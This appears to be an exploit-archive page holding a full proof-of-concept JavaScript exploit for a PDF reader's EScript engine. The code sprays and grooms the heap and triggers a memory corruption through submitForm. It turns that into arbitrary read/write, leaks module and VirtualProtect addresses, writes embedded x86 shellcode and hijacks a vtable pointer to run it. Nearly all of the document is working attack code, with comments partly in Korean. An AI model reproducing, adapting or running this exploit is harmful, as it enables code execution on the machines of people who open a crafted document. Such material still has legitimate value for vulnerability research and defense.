4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.js JS
console.show()

function gc() {
  new ArrayBuffer(3 * 1024 * 1024 * 100);
}

// Size of relative URL
var strRelUrlSize = 0x600;
// Size of concated URL (Size of base URL + Size of relative URL)
var strConUrlSize = 0x800;

// Generate Heap Area with given blocksize (including Heap shunk Header)
function createArrayBuffer(blocksize) {
  var arr = new ArrayBuffer(blocksize - 0x10);
  var u8 = new Uint8Array(arr);
  for (var i = 0; i < arr.byteLength; i++) {
    u8[i] = 0x42;
  }
  return arr;
}

// Create Heap Area to store relative URL adjacent with exploit string to overwrite  byteLength field to -1
var arrB = new Array(0xE0);
// length of sprayStr1 = 2*5 + 2*((0x600/2) - 1 - 5) = 0xa + 2*(0x300 - 6) = 0x600 - 0x2 : Size of total string excluding 2 byte null (UTF16-BE)
var sprayStr1 = unescape('%uFFFF%uFFFF%uFFFF%uFFFF%u0000') + unescape('%uFFFF').repeat((strRelUrlSize / 2) - 1 - 5);
for (var i = 0; i < arrB.length; i++) {
  // UTF16-BE는 2byte가 문자 1개 => null 2byte 포함 0x600 크기의 heap chunk에 할당하기 위해서는 0x300개의 문자 필요
  // (strRelUrlSize/2) - 1 = 0x600/2 - 1 = 0x300 - 1 : null 문자 제와 0x2FF개의 문자
  arrB[i] = sprayStr1.substr(0, (strRelUrlSize / 2) - 1).toUpperCase();
}

// make multiple hole
for (var i = 0x11; i < arrB.length; i += 10) {
  arrB[i] = null;
  arrB[i] = undefined;
}

// Create Heap Area to store concatted URL with ArrayBuffer object for Arbitrary R/W
var arrA = new Array(0x130);
for (var i = 0; i < arrA.length; i++) {
  arrA[i] = createArrayBuffer(strConUrlSize);
}

// make multiple hole
for (var i = 0x11; i < arrA.length; i += 10) {
  arrA[i] = null;
  arrA[i] = undefined;
}

// garbage collection
gc();

// Trigger vulnerable
try {
    this.submitForm('a'.repeat(strRelUrlSize - 1));
} catch (err) { }

// Corrupt byteLength field in ArrayBuffers next to the concatted URL ArrayBuffer
for (var i = 0; i < arrA.length; i++) {
    if (arrA[i] != null && arrA[i].byteLength == 0xFFFF) {
      var temp = new DataView(arrA[i]);
      temp.setInt32(0x7F0 + 0x8 + 0x4, 0xFFFFFFFF, true);
    }

    if (arrA[i] != null && arrA[i].byteLength == -1) {
      var rw = new DataView(arrA[i]);
      break;
    }
}

// Find the latest corrupted ArrayBuffer object and set DataView object of it (rw)
if (rw) {
    // START getArbitraryRW
    curChunkBlockOffset = rw.getUint8(0xFFFFFFED, true);
    BitMapBufOffset = curChunkBlockOffset * (strConUrlSize + 8) + 0x18

    // go until find UserBlock signature (0xF0E0D0C0)
    for (var i = 0; i < 0x30; i += 4) {
        BitMapBufOffset += 4;
        signature = rw.getUint32(0xFFFFFFFF + 1 - BitMapBufOffset, true);
        if (signature == 0xF0E0D0C0) {
            BitMapBufOffset -= 0xC;
            BitMapBuf = rw.getUint32(0xFFFFFFFF + 1 - BitMapBufOffset, true);
            break;
        }
    }

    if (BitMapBuf) {
        // StartAddr : Address of start of data in ArrayBuffer
        StartAddr = BitMapBuf + BitMapBufOffset - 4;
    // END getArbitraryRW

        // START helper function to R/W Arbitrary address
        function readUint32(dataView, readAddr) {
            var offsetAddr = readAddr - StartAddr;
            if (offsetAddr < 0) {
                offsetAddr = offsetAddr + 0xFFFFFFFF + 1;
            }
            return dataView.getUint32(offsetAddr, true);
        }

        function writeUint32(dataView, writeAddr, value) {
            var offsetAddr = writeAddr - StartAddr;
            if (offsetAddr < 0) {
                offsetAddr = offsetAddr + 0xFFFFFFFF + 1;
            }
            return dataView.setUint32(offsetAddr, value, true);
        }
        // END helper function to R/W Arbitrary address

        // sprayHeap for new Stack
        var heapSegmentSize = 0x10000;
        heapSpray = new Array(0x8000);
        for (var i = 0; i < 0x8000; i++) {
            heapSpray[i] = new ArrayBuffer(heapSegmentSize - 0x10 - 0x8);
        }

        // START getAddressLeaks
        // leak and calculate the EScript base address
        EScriptModAddr = readUint32(rw, readUint32(rw, StartAddr - 8) + 0xC) - 0x277548;
        
        // leak VirtualProtect address in kernel32.dll wich is used by EScript
        VirtualProtectAddr = readUint32(rw, EScriptModAddr + 0x1B0060);
        
        // Set Shellcode
        var shellcode = [0xec83e589, 0x64db3120, 0x8b305b8b, 0x5b8b0c5b, 0x8b1b8b1c, 0x08438b1b, 0x8bfc4589, 0xc3013c58, 0x01785b8b, 0x207b8bc3, 0x7d89c701, 0x244b8bf8, 0x4d89c101, 0x1c538bf4, 0x5589c201, 0x14538bf0, 0xebec5589, 0x8bc03132, 0x7d8bec55, 0x18758bf8, 0x8bfcc931, 0x7d03873c, 0xc18366fc, 0x74a6f308, 0xd0394005, 0x4d8be472, 0xf0558bf4, 0x41048b66, 0x0382048b, 0xbac3fc45, 0x63657878, 0x5208eac1, 0x6e695768, 0x18658945, 0xffffb8e8, 0x51c931ff, 0x78652e68, 0x61636865, 0xe389636c, 0xff535141, 0xb9c931d0, 0x73736501, 0x5108e9c1, 0x6f725068, 0x78456863, 0x65897469, 0xff87e818, 0xd231ffff, 0x00d0ff52];
        var shellcodesize = shellcode.length * 4;

				// Write Shell Code
        for (var i = 0; i < shellcode.length; i++) {
            writeUint32(rw, StartAddr + 0x18 + i * 4, shellcode[i]);
        }

				// Setup new Stack
        var newStackAddr = 0x5D000001;
        var offset = 0x1050AE;
        
        writeUint32(rw, newStackAddr, VirtualProtectAddr);      // RIP of previous Stack Frame
        writeUint32(rw, newStackAddr + 0x4, StartAddr + 0x18);  // RIP of VirtualProtect Stack Frame
        writeUint32(rw, newStackAddr + 0x8, StartAddr + 0x18);  //  Arg1 : 메모리 시작 주소
        writeUint32(rw, newStackAddr + 0xC, shellcodesize);     //  Arg2 : 메모리 크기
        writeUint32(rw, newStackAddr + 0x10, 0x40);             //  Arg3 : 메모리 보호 상수 : 0x40 : 실행 권한
        writeUint32(rw, newStackAddr + 0x14, StartAddr + 0x14); //  Arg4 : 이전 보호 상수 저장할 포인터

				// get address of vtable
        var dataViewObjPtr = rw.getUint32(0xFFFFFFFF + 0x1 - 0x8, true);
        var dvShape = readUint32(rw, dataViewObjPtr);
        var dvShapeBase = readUint32(rw, dvShape);
        var dvShapeBaseClasp = readUint32(rw, dvShapeBase);
        
        // Overwrtite address of getProperty in vtable to ROP gadget
        writeUint32(rw, dvShapeBaseClasp + 0x10, EScriptModAddr + offset);

				// try to access unknown property => call overwritten getProperty in vtable
        var foo = rw.execFlowHijack;
    }
}